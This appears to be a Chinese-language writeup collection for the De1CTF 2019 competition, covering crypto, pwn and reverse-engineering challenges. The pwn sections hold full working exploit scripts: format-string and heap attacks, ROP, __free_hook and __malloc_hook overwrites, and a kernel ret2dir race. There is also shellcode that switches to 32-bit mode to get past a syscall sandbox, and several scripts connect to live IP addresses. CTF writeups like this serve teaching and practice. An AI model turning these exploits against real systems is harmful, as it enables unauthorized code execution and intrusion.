c1 = 262739975753930281690942784321252339035906196846340713237510382364557685379543498765074448825799342194332681181129770046075018122033421983227887719610112028230603166527303021036386350781414447347150383783816869784006598225583375458609586450854602862569022571672049158809874763812834044257419199631217527367046624888837755311215081173386523806086783266198390289097231168172692326653657393522561741947951887577156666663584249108899327053951891486355179939770150550995812478327735917006194574412518819299303783243886962455399783601229227718787081785391010424030509937403600351414176138124705168002288620664809270046124
c2 = 7395591129228876649030819616685821899204832684995757724924450812977470787822266387122334722132760470911599176362617225218345404468270014548817267727669872896838106451520392806497466576907063295603746660003188440170919490157250829308173310715318925771643105064882620746171266499859049038016902162599261409050907140823352990750298239508355767238575709803167676810456559665476121149766947851911064706646506705397091626648713684511780456955453552020460909638016134124590438425738826828694773960514221910109473941451471431637903182205738738109429736425025621308300895473186381826756650667842656050416299166317372707709596
assert(14==gmpy2.gcd(e1,(p-1)*(q1-1)))
assert(14== gmpy2.gcd(e2,(p-1)*(q2-1)))
e1=e1//14;e2=e2//14
n1=p*q1;n2=p*q2
phi1=(p-1)*(q1-1);phi2=(p-1)*(q2-1)
d1=gmpy2.invert(e1,phi1);d2=gmpy2.invert(e2,phi2)
f1=pow(c1,d1,n1);f2=pow(c2,d2,n2)
def GCRT(mi, ai):
# mi,ai分别表示模数和取模后的值,都为列表结构
assert (isinstance(mi, list) and isinstance(ai, list))
curm, cura = mi[0], ai[0]
for (m, a) in zip(mi[1:], ai[1:]):
d = gmpy2.gcd(curm, m)
c = a - cura
assert (c % d == 0) #不成立则不存在解
K = c // d * gmpy2.invert(curm // d, m // d)
cura += curm * K
curm = curm * m // d
cura %= curm
return (cura % curm, curm) #(解,最小公倍数)
f3,lcm = GCRT([n1,n2],[f1,f2])
assert(f3%n1==f1);assert(f3%n2==f2);assert(lcm==q1*q2*p)
n3=q1*q2
c3=f3%n3
phi3=(q1-1)*(q2-1)
assert(gmpy2.gcd(7,phi3)==1)
d3=gmpy2.invert(7,phi3)
m3=pow(c3,d3,n3)
if gmpy2.iroot(m3,2)[1] == 1:
flag=gmpy2.iroot(m3,2)[0]
print(binascii.unhexlify(hex(flag)[2:]))
# p = 109935857933867829728985398563235455481120300859311421762540858762721955038310117609456763338082237907005937380873151279351831600225270995344096532750271070807051984097524900957809427861441436796934012393707770012556604479065826879107677002380580866325868240270494148512743861326447181476633546419262340100453
# e1 = 15218928658178
# e2 = 381791429275130
# hint = "orz...you.found.me.but.sorry.no.hint...keep.on.and.enjoy.it!"
# q1 = 127587319253436643569312142058559706815497211661083866592534217079310497260365307426095661281103710042392775453866174657404985539066741684196020137840472950102380232067786400322600902938984916355631714439668326671310160916766472897536055371474076089779472372913037040153356437528808922911484049460342088834871
# de1ctf{9b10a98b-71bb-4bdf-a6ff-f319943de21f}
# [Finished in 0.7s]
## Babylfsr
你可以在[CTF-WIKI](https://ctf-wiki.github.io/ctf-wiki/crypto/streamcipher/fsr/lfsr/)的这个部分找到有关lfsr的基本知识。并且在`BM
algorithm`下面提到可以用2n的序列恢复mask和key的方法。在这个挑战中我们知道的序列的长度只有(2n-8bits)，但是我们可以通过约束条件`FLAG[7:11]=='1224'`去爆破剩下的8bits。然后恢复mask，恢复key，最终得到明文
#### exp
1. Code/exp.sage(解题脚本,当然你也可以使用B-M算法恢复mask)
2. Code/task.py(使用KEY和MASK生成序列的脚本)
3. Code/output(task.py的输出)
4. Code/secret.py(包含MASK,KEY和FLAG)
## Obscured
Github不太支持数学公式渲染。你可以在本地渲染并查看WP。
## Mini Purε
Github不太支持数学公式渲染。你可以在本地渲染并查看WP。
# pwn
## Unprintable
这题其实是pwnable tw上printable一道题的变种
理论上可以不用打印栈地址出来，只要预测栈后三位就可以了
首先是劫持控制流，栈上面残留了一个ld.so的地址
在exit的时候会执行dl_fini函数，里面有一段比较有趣的片段
<_dl_fini+819>: call QWORD PTR [r12+rdx*8]
rdx固定为0，r12来自下面的代码片段
<_dl_fini+777>: mov r12,QWORD PTR [rax+0x8]
<_dl_fini+781>: mov rax,QWORD PTR [rbx+0x120]
<_dl_fini+788>: add r12,QWORD PTR [rbx]
rbx指向的刚好就是栈上残留的ld.so的地址，因此我们可以控制[rbx]的值
r12默认指向的是fini_array，通过控制rbx，我们可以让r12指向bss，也就是我们可以劫持控制流了
但是劫持控制流之后呢？
我们可以再跳回main函数
.text:00000000004007A3 mov edx, 1000h ; nbytes
.text:00000000004007A8 mov esi, offset buf ; buf
.text:00000000004007AD mov edi, 0 ; fd
.text:00000000004007B2 call read
再次读内容到bss段，再printf出来
如果比较细心的话，可以发现这个时候栈上第23个参数刚好指向的是printf的返回地址，也就是我们可以在printf之后再跳回0x4007A3，也就是能无限循环printf
有了无限循环printf，那么就和平常的有循环的printf一样做了
这个时候我们就有了任意写，可以写栈上printf返回地址后面的内容，写一个bss段的地址，再配合 pop rsp这个gadget就可以进行rop了
这里还有一个小坑，就是printf超过0x2000个字节之后用 %hn 写不了值，所以要爆破到适合的栈地址，不过概率也挺高的
有了rop之后呢？我们还是leak不了，这个时候可以借助一个神奇的gadget
.text:00000000004006E8 adc [rbp+48h], edx
rbp和edx我们都是可以控制的，刚好bss段中有stdin,stdout,sterr这几个值，指向的是libc
所以我们可以利用这个gadget将stderr改成one_gadget，再利用__libc_csu_init中的
call qword ptr [r12+rbx*8]
就可以get shell了
get shell之后就挺简单了，利用重定向拿flag
cat flag >&0
#### exp
from pwn import *
debug=1
context.log_level='debug'
if debug:
p=process('./unprintable')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
else:
p=remote('',)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def wait(x=True):
#raw_input()
sleep(0.3)
def write_addr(addr,sz=6):
t = (stack+0x40)%0x100
v = p64(addr)
for i in range(sz):
if t+i != 0:
se('%'+str(t+i)+'c%18$hhn%'+str(1955-t-i)+'c%23$hn\x00')
else:
se('%18$hhn%1955c%23$hn')
wait()
tv = ord(v[i])
if tv != 0:
se('%'+str(tv)+'c%13$hhn%'+str(1955-tv)+'c%23$hn\x00')
else:
se('%13$hhn%1955c%23$hn')
wait()
def write_value(addr,value,addr_sz=6):
write_addr(addr,addr_sz)
se('%'+str(ord(value[0]))+'c%14$hhn%'+str(1955-ord(value[0]))+'c%23$hn\x00')
wait()
ta = p64(addr)[1]
for i in range(1,len(value)):
tmp = p64(addr+i)[1]
if ta!=tmp:
write_addr(addr+i,2)
ta = tmp
else:
write_addr(addr+i,1)
if ord(value[i]) !=0:
se('%'+str(ord(value[i]))+'c%14$hhn%'+str(1955-ord(value[i]))+'c%23$hn\x00')
else:
se('%14$hhn%1955c%23$hn\x00')
wait()
buf = 0x601060+0x100+4
ru('This is your gift: ')
stack = int(ru('\n'),16)-0x118
if stack%0x10000 > 0x2000:
p.close()
exit()
ret_addr = stack - 0xe8
se('%'+str(buf-0x600DD8)+'c%26$hn'.ljust(0x100,'\x00')+p64(0x4007A3))
wait()
tmp = (stack+0x40)%0x10000
se('%c'*16+'%'+str(tmp-16)+'c%hn%'+str((163-(tmp%0x100)+0x100)%0x100)+'c%23$hhn\x00')
wait()
if debug:
gdb.attach(p)
raw_input()
rop = 0x601060+0x200
write_value(stack,p64(rop)[:6])
context.arch = 'amd64'
prbp = 0x400690
prsp = 0x40082d
adc = 0x4006E8
arsp = 0x0400848
prbx = 0x40082A
call = 0x400810
stderr = 0x601040
payload = p64(arsp)*3
payload += flat(prbx,0,stderr-0x48,rop,0xFFD2BC07,0,0,call)
payload += flat(adc,0,prbx,0,0,stderr,0,0,0,0x400819)
se(('%'+str(0x82d)+'c%23$hn').ljust(0x200,'\0')+payload)
print(hex(stack))
p.interactive()
## Race
#### 一、竞态泄露slab地址
题目很明显就是copy_to_user和copy_from_user时的竞争删除导致的漏洞，为了扩大竞争条件的窗口期需要mmap一块内存，当copy_to_user复制到用户空间时会引发缺页中断，这样可能会导致进程切换。需要注意的是复制的大小不能是8字节，不然再多的删除进程也是没用的，具体可以看copy_to_user的[实现](https://elixir.bootlin.com/linux/v5.0-rc8/source/include/linux/uaccess.h#L149)。由于本地和服务器环境有一些差别，竞争删除的进程数会有一点不同。
理想的效果：
|
---|---
test_write |
copy_to_user |
缺页中断 |
| test_del
| kfree释放buffer
copy_to_user
这样就可以顺利拿到slab地址
#### 二、分配大量内存，占位physmap
就mmap大量地址吧，qemu给了128M内存，进程可以顺利申请64M内存，这样就占了一半的内存，后面有50%的几率跳到控制的[physmap](https://www.cnblogs.com/0xJDchen/p/6143102.html)。（实际上找个好一点的偏移基本上100%成功）
#### 三、竞态写释放后的slab object
通过第一步获得slab地址，从而推出physmap的起始地址（这两个区域很接近，或者应该说physmap包含了slab，这点不确定，没深入源码）
为了扩大竞争条件的窗口期，我是通过将猜测的physmap地址直接写入文件（不经过缓冲区，直接写入文件，[O_DIRECT](https://www.cnblogs.com/muahao/p/7903230.html)），然后再mmap映射文件去读。后面流程和竞争读一样，copy_from_user的时候，将buffer删掉，这样就可以改写下一块空闲slab地址，然后接着open("/dev/ptmx",O_RDWR);就可以申请tty_struct到可控physmap地址上。
#### 四、查找physmap地址别名
查找mmap出来的地址，如果不为NULL就代表找到了第三步申请的tty_struct结构体。这样就可以在用户态修改内核分配的tty_struct。
#### 五、tty_struct常规用法
open("/dev/ptmx",O_RDWR);实际上会分配两个tty_struct，主从模式。实际上用户态可控的tty_struct是[pts](https://blog.csdn.net/luckywang1103/article/details/71191821)的（因为第一个tty_struct会分配到删除了的buffer地址，第二个tty_struct才会分配到physmap上），所以还要open(pts_name,
O_RDONLY | O_NOCTTY);然后才是常规的ioctl操作。
这里懒得找gadgets，就直接调用set_memory_x设置可执行，后面再跳到shellcode在内核态下执行就好了。
PS:向经典的ret2dir致敬。本来只是打算uaf加ret2dir的，后面写着写着就成伪竞态了。 :)
#### exp
[exp.c](https://github.com/De1ta-team/De1CTF2019/blob/master/writeup/pwn/Race/exp.c)
#### reference
copy_to_user :
<https://elixir.bootlin.com/linux/v5.0-rc8/source/include/linux/uaccess.h#L149>
ret2dir : <https://www.cnblogs.com/0xJDchen/p/6143102.html>
O_DIRECT : <https://www.cnblogs.com/muahao/p/7903230.html>
## babyRust
babyRust 源码：<https://github.com/zjw88282740/babyRust>
出题思路来源[CVE-2019-12083](https://www.cvedetails.com/cve/CVE-2019-12083/
"CVE-2019-12083 security vulnerability details")
逆向有点恶心
任意读十分简单，通过读got表得到libc基址，观察可发现存在double free的情况，直接写__free_hook
from pwn import *
libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#p=process("./babyRust")
context.log_level="debug"
p=remote("207.148.126.75",60001)
def show():
p.recvuntil("4.exit\n")
p.sendline("2")
def edit(name,x,y,z,i):
p.recvuntil("4.exit\n")
p.sendline("3")
p.recvuntil("input your name:")
p.sendline(name)
p.recvuntil(":")
p.sendline(str(x))
p.recvuntil(":")
p.sendline(str(y))
p.recvuntil(":")
p.sendline(str(z))
p.recvuntil(":")
p.sendline(str(i))
#gdb.attach(p)
p.recvuntil("4.exit\n")
p.sendline("1312") #Boom->S
show()
heap_addr=int(p.recvuntil(", ",drop=True)[2:])-0xa40
print hex(heap_addr)
p.sendline("1313")
p.sendline("1314")
edit("aaa",heap_addr+0x2ce0,0,0,0)
show()
p.sendline("1312")
#show()
print p.recv()
p.sendline("1313")
edit("bbb ",heap_addr+0xb18,8,8,heap_addr+0xb18)
show()
p.recvuntil("3,3,")
pie_addr=u64(p.recv(8))-239480
print hex(pie_addr)
edit("bbb ",pie_addr+0x3be78,8,8,0)
show()
p.recvuntil("3,3,")
libc_addr=u64(p.recv(8))-1161904
print hex(libc_addr)
edit("bbbbb",heap_addr+0x2d40,2,3,4)
p.sendline("1314")
p.recvuntil("4.exit\n")
p.sendline("1")
p.recvuntil("input your name:")
p.sendline("z")
p.recvuntil(":")
p.sendline(str(0))
p.recvuntil(":")
p.sendline(str(4015))
p.recvuntil(":")
p.sendline(str(5))
p.recvuntil(":")
p.sendline(str(0))
show()
free_hook=libc_addr+libc.symbols['__free_hook']-0x28-8
p.sendline("1312")
edit("\x00"*0x20,free_hook,0,0,0)
one_gadget=libc_addr+0x4f322
p.sendline("1313")
edit("\x00"*0x30,free_hook,2,3,one_gadget)
p.sendline("1314")
p.interactive()
## Mimic_note
题目给了两个二进制文件，一个是32位的，一个是64位的
主要思想是，给定相同的输入，判断32位和64位程序的输入是否相同，假如不相同就直接退出
题目是一个比较简单的堆题
我们首先来看下main函数
可以看到有4个功能
1. new
2. delete
3. show
4. edit
其中edit存在一个off by null的漏洞，利用这个漏洞可以unlink，获取任意写
在任意写之后，可以利用一个gadget，将栈转移到bss段上面，进行ROP，这个时候利用ret2dl_resolve就可以打开flag，写到某个note那里，那个note提前设好一个值，假如不相当的话，就会输出what
are you trying to do?
下面是exp
这个是预期解，不过因为mimic写得不是很好，有挺多非预期的........
from pwn import *
import roputils
def brute_flag(idx,v):
debug=1
#context.log_level='debug'
rop=roputils.ROP('./mimic_note_32')
if debug:
p=process('./mimic')
#p=process('./mimic_note_32')
#p=process('./mimic_note_64')
#gdb.attach(p)
else:
#p=remote('127.0.0.1',9999)
pass
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def new(sz):
sl('1')
ru('size?')
sl(str(sz))
ru(">> ")
def delete(idx):
sl('2')
ru('index ?')
sl(str(idx))
ru(">> ")
def show(idx):
sl('3')
ru('index ?')
sl(str(idx))
def edit(idx,content):
sl('4')
ru('index ?')
sl(str(idx))
ru('content?\n')
se(content)
ru(">> ")
#unlink attack x86
new(0x68)
new(0x68)
new(0x94)
new(0xf8)
fake_chunk = p32(0)+p32(0x91)+p32(0x804a070-0xc)+p32(0x804a070-0x8)
fake_chunk = fake_chunk.ljust(0x90,'\0')
edit(2,fake_chunk+p32(0x90))
delete(3)
#ret2dlresolve and blind injection
new(0x200)
bss = 0x0804a500
edit(2,p32(0x100)+p32(0x804A014)+p32(0x98)+p32(bss+0x300)+p32(0x94)+p32(bss)+p32(0x200))
edit(1,p32(0x80489FA))
payload = p32(bss-0x100)+rop.dl_resolve_call(bss+0x60, bss+0x180,0)
payload += p32(0x8048460)+p32(0x80489F9)+p32(3)+p32(bss+0x300-idx)+p32(idx+1)
payload += p32(0x080489FB)+p32(bss-0x100)
payload += p32(0x804893C)
payload = payload.ljust(0x60,'\x00')
payload += rop.dl_resolve_data(bss+0x60, 'open')
payload = payload.ljust(0x180,'\x00')
payload += 'flag'
edit(3,payload)
edit(2,v+'\0')
sl('2\x00'+'a'*6+p32(0x80488DE))
ru('index ?\n')
sl('3\x00')
ru('>> ')
show(2)
ru('\n')
data = ru('\n')
p.close()
if len(data)>5:
return False
return True
charset ='{}_'+ string.ascii_letters + string.digits + string.punctuation
flag = ''
for i in range(40):
for q in charset:
if brute_flag(i,q):
flag+=q
print(flag)
if q == '}':
exit(0)
break
## weapon
[docker-enviroment](./docker-enviroment)
this problem have two ways to solve it
> the key to topic is to let a chunk have libc address in fd. and then we use
> a trick to leak a libc address ,finally use fastbin attack to get shell.
#### first
make a fake 0x80(more than that is ok) chunk and free it .so that we can get
libc in fd and then edit the struct of stdout to leak.finally get shell.
from pwn import *
def cmd(c):
p.sendlineafter(">> \n",str(c))
def Cmd(c):
p.sendlineafter(">> ",str(c))
def add(size,idx,name="padding"):
cmd(1)
p.sendlineafter(": ",str(size))
p.sendlineafter(": ",str(idx))
p.sendafter(":\n",name)
def free(idx):
cmd(2)
p.sendlineafter(":",str(idx))
def edit(idx,name):
cmd(3)
p.sendlineafter(": ",str(idx))
p.sendafter(":\n",name)
def Add(size,idx,name="padding"):
Cmd(1)
p.sendlineafter(": ",str(size))
p.sendlineafter(": ",str(idx))
p.sendafter(":",name)
def Free(idx):
Cmd(2)
p.sendlineafter(":",str(idx))
#p=process('./pwn')
p=remote("139.180.216.34",8888)
#context.log_level='debug'
add(0x18,0)
add(0x18,1)
add(0x60,2,p64(0x0)+p64(0x21)+'\x00'*0x18+p64(0x21)*5)
add(0x60,3,p64(0x21)*12)
add(0x60,4)
add(0x60,5)
free(0)
free(1)
free(0)
free(1)
add(0x18,0,"\x50")
add(0x18,0,'\x00'*8)
add(0x18,0,"A")
add(0x18,0,'GET')
edit(2,p64(0x0)+p64(0x91))
free(0)
add(0x18,0)
add(0x60,0,'\xdd\x25')
free(2)
free(5)
free(2)
free(5)
#gdb.attach(p,'')
add(0x60,4,'\x70')
#
add(0x60,0)
add(0x60,0)
add(0x60,0)
add(0x60,0,'\x00'*(0x40+3-0x10)+p64(0x1800)+'\x00'*0x19)
p.read(0x40)
base=u64(p.read(6).ljust(8,'\x00'))-(0x7ffff7dd2600-0x7ffff7a0d000)
log.warning(hex(base))
#raw_input()
libc=ELF("./pwn").libc
Add(0x60,0)
Add(0x60,1)
Add(0x18,2)
Free(0)
Free(1)
Free(0)
Add(0x60,0,p64(libc.sym['__malloc_hook']+base-35))
Add(0x60,0)
Add(0x60,0)
one=0xf02a4
Add(0x60,0,'\x00'*19+p64(one+base))
Free(1)
Free(1)
p.interactive()
#### second
when we use scanf to input something .if you input lots of things ,it will
malloc a 0x400 chunk to keep it temporarily。if we keep some fastbin when it
malloc.it will be put into smallbin.now we also have libc address.
from pwn import *
context.log_level = "debug"
#p = process("./weapon")
p = remote("139.180.216.34",8888)
elf = ELF("./weapon")
a = elf.libc
#gdb.attach(p)
def create(idx,size,content):
p.recvuntil(">> \n")
p.sendline(str(1))
p.recvuntil("weapon: ")
p.sendline(str(size))
p.recvuntil("index: ")
p.sendline(str(idx))
p.recvuntil("name:")
p.send(content)
def delete(idx):
p.recvuntil(">> ")
p.sendline(str(2))
p.recvuntil("idx :")
p.sendline(str(idx))
def edit(idx,content):
p.recvuntil(">> ")
p.sendline(str(3))
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("content:\n")
p.send(content)
create(0,0x60,"a")
create(1,0x60,"b")
create(2,0x60,"c")
delete(0)
delete(1)
p.recvuntil(">> ")
p.sendline("1"*0x1000)
create(3,0x60,"\xdd\x25")
create(4,0x60,"e")
delete(2)
delete(1)
edit(1,"\x00")
create(5,0x60,"f")
create(6,0x60,"f")
file_struct = p64(0xfbad1887)+p64(0)*3+"\x58"
create(7,0x60,"\x00"*0x33+file_struct)
libc_addr = u64(p.recvuntil("\x00",drop=True)[1:].ljust(8,"\x00"))-a.symbols["_IO_2_1_stdout_"]-131
print hex(libc_addr)
delete(6)
edit(6,p64(libc_addr+a.symbols["__malloc_hook"]-0x23))
create(8,0x60,"t")
create(9,0x60,"a"*0x13+p64(libc_addr+0xf1147))
p.recvuntil(">> \n")
p.sendline(str(1))
p.recvuntil("weapon: ")
p.sendline(str(0x60))
p.recvuntil("index: ")
p.sendline(str(6))
p.interactive()
## A+B judge
先跟各位师傅说声对不起......其实这道题没出好，本意是想出道代码审计的题目的，结果原来的库的bug比预期的多......
下面是一个非预期解
#include <stdio.h>
int main()
{
system("cat flag");
}
下面是一个预期解，基本思想是利用32位的syscall去绕过限制，去读取文件
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h> /* mmap() is defined in this header */
#include <fcntl.h>
#include <string.h>
unsigned char shellcode[]= \
"\x6a\x01\xfe\x0c\x24\x68\x66\x6c\x61\x67\x89\xe3\x31\xc9\x31\xd2\x6a\x05\x58\xcd\x80\x68\x00\x38\x12\x00\x59\x89\xc3\xba\x00\x01\x00\x00\x6a\x03\x58\xcd\x80\xbb\x01\x00\x00\x00\xb9\x00\x38\x12\x00\xba\x00\x01\x00\x00\x6a\x04\x58\xcd\x80\xb8\x01\x00\x00\x00\xcd\x80";
/*
push 0x1
dec BYTE PTR [esp]
push 0x67616c66
mov ebx,esp
xor ecx,ecx
xor edx,edx
push 0x5
pop eax
int 0x80
push 0x123800
pop ecx
mov ebx,eax
mov edx,0x100
push 0x3
pop eax
int 0x80
mov ebx,0x1
mov ecx,0x123800
mov edx,0x100
push 0x4
pop eax
int 0x80
mov eax,0x1
int 0x80
*/
unsigned char bypass[] = \
"\x48\x31\xe4\xbc\x00\x34\x12\x00\x67\xc7\x44\x24\x04\x23\x00\x00\x00\x67\xc7\x04\x24\x00\x30\x12\x00\xcb";
/*
xor rsp,rsp
mov esp,0x123400
mov DWORD PTR [esp+0x4],0x23
mov DWORD PTR [esp],0x123000
retf
*/
int main()
{
char* p1=mmap(0, 0x1000, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
char* p2=mmap((void*)0x123000,0x1000,7,MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(p1,bypass,sizeof(bypass));
memcpy(p2,shellcode,sizeof(shellcode));
int (*ret)() = (int(*)())p1;
ret();
return 0;
}
# re
## Re_Sign
#### exp
int main()
{
int int32_41E3D0[] = { 8, 59, 1, 32, 7, 52, 9, 31, 24, 36, 19, 3, 16, 56, 9, 27, 8, 52, 19, 2, 8, 34, 18, 3, 5, 6, 18, 3, 15, 34, 18, 23, 8, 1, 41, 34, 6, 36, 50, 36, 15, 31, 43, 36, 3, 21, 65, 65 };
char str_41E499[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
char base64_C[49] = {0};
for (int i = 0; i < 48; i++)
{
int temp_index = int32_41E3D0[i];
base64_C[i] = str_41E499[temp_index - 1];
}
cout <<"base64_C:"<< base64_C << endl;
char psss_list[65] = { 0 };
char list_41E380[] = { 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 91, 92, 73, 95, 90, 86, 69, 88, 93, 67, 85, 70, 82, 81, 95, 81, 80, 80, 80, 71, 70, 92, 118, 99, 108, 110, 85, 82, 67, 85, 92, 80, 95, 66, 67, 93, 79, 92, 84, 87, 85, 91, 94, 94, 90, 77, 64, 90, 76, 89, 82, 80, 21, 16 };
for (int i = 0; i <64; i++)
{
psss_list[i] = list_41E380[i] ^ i;
}
cout << "psss_list:" << psss_list << endl;
char str_re[100] = {0};
Base64_decode(base64_C, psss_list, str_re);
cout << "flag:" << str_re << endl;
getchar();
return 0;
}
#### output
base64_C:H6AfGzIeXjSCP3IaHzSBHhRCEFRCOhRWHAohFjxjOeqjCU==
psss_list:0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm+/
flag:de1ctf{E_L4nguag3_1s_K3KeK3_N4Ji4}
## Cplusplus
> 源代码`Cplusplus.cpp`
>
> 附件`Cplusplus.exe`
>
> 编译`compile.txt`
#### 分析
struct st {
unsigned short num1;
unsigned short num2;
unsigned short num3;
};
st boostFn(const std::string& s) {
using boost::spirit::qi::_1;
using boost::spirit::qi::ushort_;
using boost::spirit::qi::char_;
using boost::phoenix::ref;
struct st res;
const char* first = s.data();
const char* const end = first + s.size();
bool success = boost::spirit::qi::parse(first, end,
ushort_[ref(res.num1) = _1] >> char('@')
>> ushort_[ref(res.num2) = _1] >> char('#')
>> ushort_[ref(res.num3) = _1]
);
if (!success || first != end) {
//throw std::logic_error("Parsing failed");
_exit(0);
}
return res;
}
这段代码是`boost::spirit`相关，输入形如`num1@num2#num3`，用`@ #`分割三个`unsigned short`数值
void boostFunc(unsigned short& num) {
//随机数check
//预期的num是78
if (num > 111) {
_exit(0);
}
boost::mt19937 rng(num);
rng.discard(num % 12);
//拷贝构造，保留了所有状态
boost::mt19937 rng_(rng);
rng_.discard(num / 12);
//这里相当于丢弃了num个随机结果
if (rng_() != 3570126595) {
_exit(0);
}
num -= (rng_() % 45); // 45
}
一个`unsigned short`传入，小于等于111，把它作为随机引擎的种子，丢弃掉`num % 12`个随机数，然后用一次随机引擎的拷贝构造
> 注意，这里拷贝构造会完全保留随机引擎的状态，而不是回归初始状态
>
> 在IDA中就表现为直接一个memcpy
接着再丢弃掉`num/12`个随机数
然后输出一个随机数要求等于`3570126595`，最后由于是引用，传入的数值被改变
后面第二段check没什么好说的
第三段check是我的锅
if ((res.num3 % res.num1 != 12) && (res.num3 / res.num1) != 3) {
//3 * 34 + 12 == 114
std::cout << "You failed...again";
_exit(0);
}
这里出现了多解，后来排查发现是`||`被我误写为`&&`，因此只要满足右边的式子就会输出flag，最后加上了`md5`保证唯一解
## evil_boost
> 源代码`evil_boost.cpp`
>
> 附件`evil_boost.exe`
>
> 编译`compile.txt`
#### 分析
#include<boost/phoenix/phoenix.hpp>
#include<iostream>
#include<string>
#include<string.h>
namespace opt = boost::program_options;
using namespace std;
using namespace boost::spirit;
using namespace phoenix;
int main(int argc, char** argv) {
std::cout << "Have you input your name??" << std::endl;
opt::options_description desc("All options");
desc.add_options()
("cplusplus,cpp", opt::value<int>()->default_value(99), "your C++ grades")
("python,py", opt::value<int>()->default_value(88), "your python grades")
("javascript,js", opt::value<int>()->default_value(77), "your javascript grades")
("name", opt::value<std::string>(), "your name")
("help", "produce help message");
opt::variables_map vm;
//解析命令行选项并把值存储到"vm"
opt::store(opt::parse_command_line(argc, argv, desc), vm);
opt::notify(vm);
如代码所示，解析命令行参数并存储
if (vm.count("name")) {
std::string __name = vm["name"].as<std::string>();
char c1 = vm["cplusplus"].as<int>();
char c2 = vm["python"].as<int>();
char c3 = vm["javascript"].as<int>();
if (vm["cplusplus"].as<int>() == 999) {
if (vm["python"].as<int>() == 777) {
if (vm["javascript"].as<int>() == 233) {
unsigned char enc_false_flag[25] = {
0x4c,0x70,0x71,0x6b,0x38,0x71,0x6b,0x38,0x6c,
0x70,0x7d,0x38,0x6f,0x6a,0x77,0x76,0x7f,0x38,
0x7e,0x74,0x79,0x7f,0x36,0x36,0x36
};
for (int i = 0; i < 25; i++) {
if (((unsigned char)__name[i] ^ (char)(c1 + c2 * c3)) != enc_false_flag[i]) {
std::cout << "error" << std::endl;
_exit(i);
}
}
}
std::cout << "You get the flag! flag{" << __name << "}" << std::endl;
//flag{This is the wrong flag...}
}
}
}
如果输入了name，会获得cpp、python、JavaScript的成绩，然后解密flag，最后输出一个假的flag
/* 计算表达式相关 */
//为rule准备一个val变量，类型为double
//准确的说：是一个phoenix类，它和其它的phoenix类组成lambda表达式，在lambda里可以看作一个double
struct calc_closure :boost::spirit::closure<calc_closure, double> {
member1 val;
};
//定义ContextT策略为calc_closure::context_t
rule<phrase_scanner_t, calc_closure::context_t> factor, term, exp;
//直接使用phoenix的lambda表达式作为Actor
factor = real_p[factor.val = arg1] | ('(' >> exp[factor.val = arg1] >> ')');
term = factor[term.val = arg1] >> *(('*' >> factor[term.val *= arg1]) | ('/' >> factor[term.val /= arg1]));
exp = term[exp.val = arg1] >> *(('+' >> term[exp.val += arg1]) | ('-' >> term[exp.val -= arg1]));
const char* szExp = vm["name"].as<std::string>().c_str();
double result;
parse_info<>r = parse(szExp, exp[assign_a(result)], space_p);
// 5e0*(5-1/5)==24
if (strlen(szExp) != 11) {
_exit(strlen(szExp));
}
int count_num = 0;
int count_alpha = 0;
for (int i = 0; i < strlen(szExp); i++) {
if ((szExp[i] < '9') && (szExp[i] >= '0')) {
count_num++;
}
else if ((szExp[i] > 'a') && (szExp[i] < 'z')) {
count_alpha++;
}
else if ((szExp[i] > 'A') && (szExp[i] < 'Z')) {
std::cout << "GG..." << std::endl;
Sleep(100000000);
}
else if ((szExp[i] != '-') && (szExp[i] != '*') && (szExp[i] != '(')
&& (szExp[i] != ')') && (szExp[i] != '/')) {
_exit(-1);
}
}
//只能有5个数字和1个小写字母，就是'e'
if ((count_num != 5) || (count_alpha != 1)) {
_exit(count_num);
}
else {
if ((szExp[1] < 'a') || (szExp[1] > 'z')) {
Sleep(10000000);
std::cout << "You failed!" << std::endl;
}
}
if (result - 24 < 0.0000001 || result - 24 > 0.0000001) {
std::cout << "You finally get sth." << std::endl;
std::cout << "Maybe you missed a code branch..." << std::endl;
std::cout << "MD5 is 293316bfd246fa84e566d7999df88e79,You should check it!" << std::endl;
std::cout << "de1ctf{" << vm["name"].as<std::string>() << "}" << std::endl;
}
长度为11,5个数字，1个小写字母(只能是e)
因为只能使用乘除减，5551是比较容易想到的，但也不排除可能有其他解，给出了md5
根据浮点数的计算`(result - 24 < 0.0000001 || result - 24 > 0.0000001)`很容易反推是在计算
24点，最后输入的name就是flag
## Signal vm + Signal vm Δ
通过异常进入各种handler，从而实现虚拟机。
参考了强网杯2018的题目 obf ，基于这道题的基础上魔改了一下。
我找不到官方wp了 ，所以只好把原题贴一下，感兴趣的可以看看。
#### 流程
先fork出一个子进程，父进程会调试子进程，子进程会进入各种由异常组成的bytecode，父进程根据异常的类型进行各种虚拟机操作。
Signal VM 和Signal VM Δ 不同的一点在于，第一题直接对父进程本身的数据进行操作，子进程只是起到传达code的作用
第二题使用PTRACE_PEEKTEXT 和PTRACE_POKETEXT，直接修改子进程的内存。
这样在我们调试父进程的时候，在第一题中可以直接监视VM寄存器和VM的内存，从而帮助我们理解指令。
而在第二题中，由于子进程已经被父进程调试了，我们无法附加上去，无法查看子进程的内存，只能查看父进程调试获取的数据，加大了理解指令的难度，分析解析指令这一部分更为重要。
#### 指令
指令大致分为三部分：opcode， 操作数类型，操作数
除了int 3断点，还添加了三种不同的异常
signal | machine code | handler
------------------------------------------- SIGILL | 06 | mov, lea ...
SIGTRAP | CC | add, sub, mul div ...
SIGSEGV | 00 00 | jcc
SIGFPE | 30 C0 F6 F8 | cmp
opcode之后有一个字节用来标识操作数的类型（除了jcc）
高 4 bit代表第一个操作数，低 4 bit代表第二个操作数，其中：
0 register
1 immediate
2 address
地址只能是由寄存器指向，第一个操作数不能为立即数，立即数位32位
在这之后是两个操作数，应当根据操作数类型进行匹配。寄存器占一个字节，立即数占四个字节。
#### 算法
两道题的算法都不算难。
第一题为hill cipher
第二题可以参考<https://projecteuler.net/problem=67，我们需要求出最大和的路径，路径中包含flag。>
